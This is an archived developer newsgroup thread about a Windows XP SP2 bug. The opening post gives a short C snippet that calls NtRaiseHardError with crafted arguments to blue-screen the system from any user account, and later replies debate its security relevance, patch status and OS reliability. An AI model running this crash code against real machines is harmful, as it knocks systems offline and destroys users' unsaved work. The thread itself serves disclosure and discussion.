How to crash XP SP2 from user mode on ANY(!!!) account
anton bassov
Anyone who wants to blue-screen on XP SP2 right from the user mode,
regardless of the account privileges, can try the following lines:
//////////
UNICODE_STRING str={8,10,L"test"};
ULONG x,args[]={0x11111111,0x11111111,(ULONG)&str};
typedef NTSTATUS (__stdcall*func)(NTSTATUS, ULONG,ULONG,PULONG,UINT,PULONG)
;
func NtRaiseHardError=(func)GetProcAddress(GetModuleHandle("ntdll.dll"),
"NtRaiseHardError");
NtRaiseHardError(0x50000018,3,4,args,1,&x);
/////
This is just one more proof of naiveity of the assumption that everything is
OK as long as you run on restricted account. As you can see, there is no
problem with crashing the system right from the user mode on the restricted
account whatsoever. I don't exclude the possibility that there is some other
yet unknown bug that may allow the attacker to elevate his/her privileges -
after all, no one and nothing is perfect
Regards
Anton Bassov
Sam Hobbs
news:4a1ca4b253354165...@ureader.com...
>
> allow the attacker to elevate his/her privileges -
> after all, no one and nothing is perfect
I am not experienced with most of the technicalities of Windows but a crash
for any operating system means that an application can not do anything more,
so a crash is not useful as a mechanism to elevate privileges.
If however you mean that it is the application crashing, not XP, then you
need to be more specific.
anton bassov
I am afraid you have missed the point. According to Microsoft, user-mode
applications haven't got a slightest chance of crashing the system, because
everything that they pass to the kernel-mode code gets validated. However,
if you run the above lines, you will see that this is not the case. In other
words, this is just a bug - in the above example the system "forgets" to
validate parameters, so that anyone who wants to blue-screen right from the
user mode can do it simply by supplying the "right" parameters.
When it comes to privilege elevation, all "buffer overflow" and "shatter"
attacks rely upon system's failure to validate parameters. In order to
handle such attacks, Microsoft claims to have introduced thorough parameter
validation - checking pointers that are passed to other applications,
checking array bounds and the amount of data that gets passed, etc. The
above example just illustrates that parameter validation is not as thorough
as Microsoft claims, so that,probably, some "buffer overflow" and "shatter"
attacks may still be successfull, despite all parameter checking.
Regards
Anton Bassov
Pavel Lebedinsky [MSFT]
has security implications, it's best to report it to MSRC
team at https://www.microsoft.com/technet/security/bulletin/alertus.aspx).
I believe this particular crash has been fixed in Win2003 SP1.
--
This posting is provided "AS IS" with no warranties, and confers no
rights.
Scherbina Vladimir
Maybe on xp sp2 it causes crush but my win2k3 is alive after running this
code. I see
7C82ED50 mov edx,esp
7C82ED52 sysenter
in NtRaiseHardError so it goes to SDT directly ...
--
Vladimir
manage content: http://www.infostoria.com/
blog: http://thespoke.net/blogs/vladimir_scherbina/
anton bassov
As it follows from the message above, W2K3 SP1 has fixed it
In fact, I thought that this bug was specific only to XP SP2, so that I was
quite surprized to learn that different flavours of Windows may be crashed
this way
Regards
Anton Bassov
Scherbina Vladimir
I remember the days when XP SP2 was driven into BSOD from FireFox via typing
a huge number of chars in address bar - it tend to the exception in GDI
function (I don't remember which one exactly but I can recheck it later) and
then BSOD ...
anton bassov
At least now we have some "documentary proof" that we will be able to
present the next time we have to deal with ridiculous claims that, as long
as you run on the resticted account, your system is perfectly safe. As I can
see, there are plenty of people who just don't seem to have enough
"grayware" to understand that,first, MSFT code may have its bugs, and,
second, not all exploitable bugs that are discovered get reported. Let's
face it - if you are malware writer, would you report the exploitable bug
that you have discovered, or would you just exploit it without telling
anyone???? I am almost 100% sure that there is this or that way to elevate
privileges - after all, if some exploit is not known to general public, it
does not necessarily mean that your system is 100% safe, as some posters
claim
Regards
Anton Bassov
Scherbina Vladimir
most of exploitable bugs are found at the same time in different places
(like in math and physics :) ). And often they are sold to malwriters or
those who is making black buisness on adwares, spywares etc fields.
--
Vladimir
manage content: http://www.infostoria.com/
blog: http://thespoke.net/blogs/vladimir_scherbina/
"anton bassov" <x...@yyy.com> wrote in message
news:2d1b0b4cecd54725...@ureader.com...
Arkady Frenkel
code ) after QA ( 10-20 before ) , so you can estimate ( due to ~60,000,000
lines of code in XP ) the number of bugs in it
Arkady
"anton bassov" <x...@yyy.com> wrote in message
news:2d1b0b4cecd54725...@ureader.com...
anton bassov
I would not use such logic. First of all, not bugs are exploitable (the one
we discuss here is just one example).
Second, and even more important, it really depends on what we call a bug. As
they say, all great discoveries are always made accidentally. I am afraid
here we deal with more or less the same situation.
For example, I don't think that someone was spending sleepless nights,
trying to do buffer overflow. Appearently, someone just accidentally
overwrote the return address, jumped to the middle of nowhere, got surprized
with the result, debugged the problem... and then realized that the same
thing can be done in more meaningfull way.
In other words, OS designers just have no way of knowing what and how may
get exploited, and hackers are normally in exactly the same position as well
- they are going to find vulnerability as a matter of accident, rather than
by intentional search(which,in most cases,proves to be fruitless). Therefore,
sometimes you would not say that some piece of code is buggy or vulnerable
until it gets exploited
To summarize, I think that relying upon some supposedly invincible
system-provided security feature is rather naive approach
Regards
Anton Bassov
Carl Daniel [VC++ MVP]
> Hi Arcady
>
>
> I would not use such logic. First of all, not bugs are exploitable
> (the one we discuss here is just one example).
> Second, and even more important, it really depends on what we call a
> bug. As they say, all great discoveries are always made accidentally.
> I am afraid here we deal with more or less the same situation.
>
> For example, I don't think that someone was spending sleepless nights,
> trying to do buffer overflow. Appearently, someone just accidentally
> overwrote the return address, jumped to the middle of nowhere, got
> surprized with the result, debugged the problem... and then realized
> that the same thing can be done in more meaningfull way.
I'm not so sure about that. I recall an article on sysinternals.com where
Mark R. describes writing a program to systematically attack every single
entry point in ntdll.dll. I'm sure mal-intentioned hackers have done the
same, and do the same on an ongoing basis.
> In other words, OS designers just have no way of knowing what and how
> may get exploited, and hackers are normally in exactly the same
> position as well
> - they are going to find vulnerability as a matter of accident,
> rather than by intentional search(which,in most cases,proves to be
> fruitless). Therefore, sometimes you would not say that some piece of
> code is buggy or vulnerable until it gets exploited
>
> To summarize, I think that relying upon some supposedly invincible
> system-provided security feature is rather naive approach
Yep.
-cd
anton bassov
What I actually meant is new TYPES (!!!) of attack - this is what normally
gets discovered accidentally, so that you just cannot foresee things like
that. Once you know what to do, you can already systematically probe all
places that you believe may be of interest, i.e. something what Mark
Russinovich did. However, at this point, it is already possible to make
provisions against this particular type of attack (because it is already
known), so that the code that does not make such provisions can already
qualify for being buggy
Regards
Anton Bassov
Arkady Frenkel
AFAIK there are about 1.5-2 testers for developer in MSFT ( as once Bill
Gates stand that MSFT's is huge test s/w house ) and they 're developing
code to test others ( OS ) code trying to find those types, you wrote about
Arkady
"anton bassov" <x...@yyy.com> wrote in message
news:0f459e0e7d6341e5...@ureader.com...
Don Burn
"Carl Daniel [VC++ MVP]" <cpdaniel_remove...@mvps.org.nospam>
wrote in
>
> I'm not so sure about that. I recall an article on sysinternals.com where
> Mark R. describes writing a program to systematically attack every single
> entry point in ntdll.dll. I'm sure mal-intentioned hackers have done the
> same, and do the same on an ongoing basis.
>
called Crashme that originally targeted UNIX. Interesting thing was UNIX
had cleaned up its act, when Mark ran it on Windows. I know Microsoft took
a copy and uses it. The funny thing was 3 years ago, I found the original
and threw it a the then current Red Hat Linux, 20 seconds later the system
crashed with a totally mangled disk, just like Unix did when the program
first came out almost 10 years before!
--
Don Burn (MVP, Windows DDK)
Windows 2k/XP/2k3 Filesystem and Driver Consulting
Remove StopSpam from the email to reply
anton bassov
As far as I know, "buffer overflow" has been first done on UNIX as
well(although this system is supposed to be much more reliable than Windows).
In other words, nothing is perfect, so that I am sure Vista is going to
have quite a few security "openings" - despite all MSFT claims
Regards
Anton Bassov
Sam Hobbs
sure, but that probably applies to reliability too. Open source means that
there is a greater pool of developers available to find problems, and to
find malicious modifications/attacks. Commercial versions of Unix (I think)
includes code that is not open source, but as far as I know most of the code
for Unix is available in source code.
Buffer overflow/overrun is essentially a bug, right? I think Microsoft was
not as careful in the past but they have been forced to be more professional
about providing quality code. Obviosuly if they were too sloppy then Linux
would be even more popular.
Since Windows is in use as much as it is indicates that it is trusted. Some
people in this thread are trying to say that Windows is not reliable, but if
it was as vulnerable as people say, then it would not be trusted as much as
it is. Windows is potentially vulnerable, but the fact that it is not
expoited more than it is indicates it is not as vulnerable as some people
indicate.
Microsoft has become aware of the need to be careful and is obviously
implementing that requirement in their current developments.
"anton bassov" <x...@yyy.com> wrote in message
news:524fe0feb39f464a...@ureader.com...
Sam Hobbs
>
> This is just one more proof of naiveity
The main reason I posted my first reply is that the post was posted more as
a dump on Microsoft than it was an effort to solve a problem in a productive
manner. I think there is too much of unproductive dumping occurring.
Microsoft representative Pavel provided us with the preferred response.
Don Burn
"Sam Hobbs" <sam...@social.rr.com_change_social_to_socal> wrote in message
news:%23GE0hiw...@TK2MSFTNGP03.phx.gbl...
> Buffer overflow/overrun is essentially a bug, right? I think Microsoft was
> not as careful in the past but they have been forced to be more
> professional about providing quality code. Obviosuly if they were too
> sloppy then Linux would be even more popular.
As of three years ago, there were a heck of a lot of buffer overflow
exploits in Linux, and not very many in Windows. I haven't looked at the
repesctive source code in parallel since then, but things Microsoft fixed in
Win2k had the equivalent bug in Linux still present.
Sam Hobbs
the system crashes?
Do you know of any (just one is enough) example of Windows NT/2000/XP and
above working as designed that allows a user-mode application with only
normal privileges to crash the system?
Your point is that Windows has bugs. That is a valid point, but any
implication that Windows is designed in a manner that allows system crashes
is inaccurate. As far as bugs are concerned, the issue is the quantity that
are potential exploits and the efforts that Microsoft makes to fix them when
they are discovered.
To the extent that a bug is exploited maliciously, that is obviously a
problem.
"anton bassov" <x...@yyy.com> wrote in message
news:52f6b1cb0d5a42f5...@ureader.com...
![Doron Holan [MS]'s profile photo](http://lh3.googleusercontent.com/a-/ALV-UjWQ5HT-XMeCTX9K7K5f_Emny0Z7CSZr4_mqUZrSMzbmk5TSWw=s40-c)
Doron Holan [MS]
pool of developer's theory has some holes in it. I read quite a few studies
that showed that the vast major of developers and their eyeballs are working
on new code, not the old code that can cause problems. So having a great
many developers is great, but for it to be effective they need to be evenly
distributed across the entire code base.
d
--
Please do not send e-mail directly to this alias. this alias is for
newsgroup purposes only.
This posting is provided "AS IS" with no warranties, and confers no rights.
"Sam Hobbs" <sam...@social.rr.com_change_social_to_socal> wrote in message
news:%23GE0hiw...@TK2MSFTNGP03.phx.gbl...
anton bassov
I am afraid you just don't really know what you are talking about. Why do
you make this ridiculous statement about malicious attack at the time of
BSOD again and again???? After all, these two are totally independent things
-I really don't know what makes you believe they may be somehow related.
Now look at your following statement:
/////
Do you know of any (just one is enough) example of Windows NT/2000/XP and
above working as designed that allows a user-mode application with only
normal privileges to crash the system?
/////
This thread has been started off with such example, and this is what we
discuss here. How are we supposed to react to your question?????
I am afraid you have posted your messages for the sole purpose of posting
them - they don't ask any questions that are relevant to this particular
discussion
Regards
Anton Bassov
Don Burn
You were the one who said "I don't exclude the possibility that there
is some other
yet unknown bug that may allow the attacker to elevate his/her privileges -
after all, no one and nothing is perfect". I concur nothing is perfect,
but a crash is a far thing from a security breach. Note, Multic's for years
had the highest security of any commercial system, it was regarded as
impossible to breach security, but a lot of people including Bill Gates
discovered ways to crash it.
--
Don Burn (MVP, Windows DDK)
Windows 2k/XP/2k3 Filesystem and Driver Consulting
Remove StopSpam from the email to reply
"anton bassov" <x...@yyy.com> wrote in message
news:c5415efb9beb43fc...@ureader.com...
Scherbina Vladimir
XP SP2 the only problem is to find
them. "One who searches - will find".
--
Vladimir
manage content: http://www.infostoria.com/
blog: http://thespoke.net/blogs/vladimir_scherbina/
"Arkady Frenkel" <ark...@hotmailxdotx.com> wrote in message
news:%23TLZsdV...@TK2MSFTNGP02.phx.gbl...
Scherbina Vladimir
stable, because you need to study new developers what have done, etc. They
cannot imagine all architecture just at once. This is the major problem
--
Vladimir
manage content: http://www.infostoria.com/
blog: http://thespoke.net/blogs/vladimir_scherbina/
"Doron Holan [MS]" <dor...@nospam.microsoft.com> wrote in message
news:%23xsB50x...@TK2MSFTNGP05.phx.gbl...
Scherbina Vladimir
in *nix RPC(for example) may analyzed it's source code, find problematic
places and use it in a needed direction
--
Vladimir
manage content: http://www.infostoria.com/
blog: http://thespoke.net/blogs/vladimir_scherbina/
"Don Burn" <bu...@stopspam.acm.org> wrote in message
news:ulZbvqwZ...@TK2MSFTNGP05.phx.gbl...
Eberhard Schefold
> I concur nothing is perfect,
> but a crash is a far thing from a security breach.
I won't take any "side" in this discussion, but I can't agree with the
statement above. The capability to crash a given computer at an arbitary
moment can be exploited for various types of attacks, and is certainly
security relevant.
anton bassov
As I said, "I don't exclude the possibility ..." - I don't make any
assertions, do I??? To be honest, crash and privilege elevation are not
necessarily too far away from one another. Who knows, maybe someone more
skillfull and imaginative than I am will find a way to do something more
usefull than just BSOD with the same NtRaiseHardError().
After all, this function displays MsgBox that is owned by csrss.exe, which
means parameters that we pass to it go to win32 subsystem (as my example
shows, they don't always get properly validated)
To summarize, the only thing I am saying is that we should not feel too
secure only because MSFT tells us we are - it may be just an illusion.....
Regards
Anton Bassov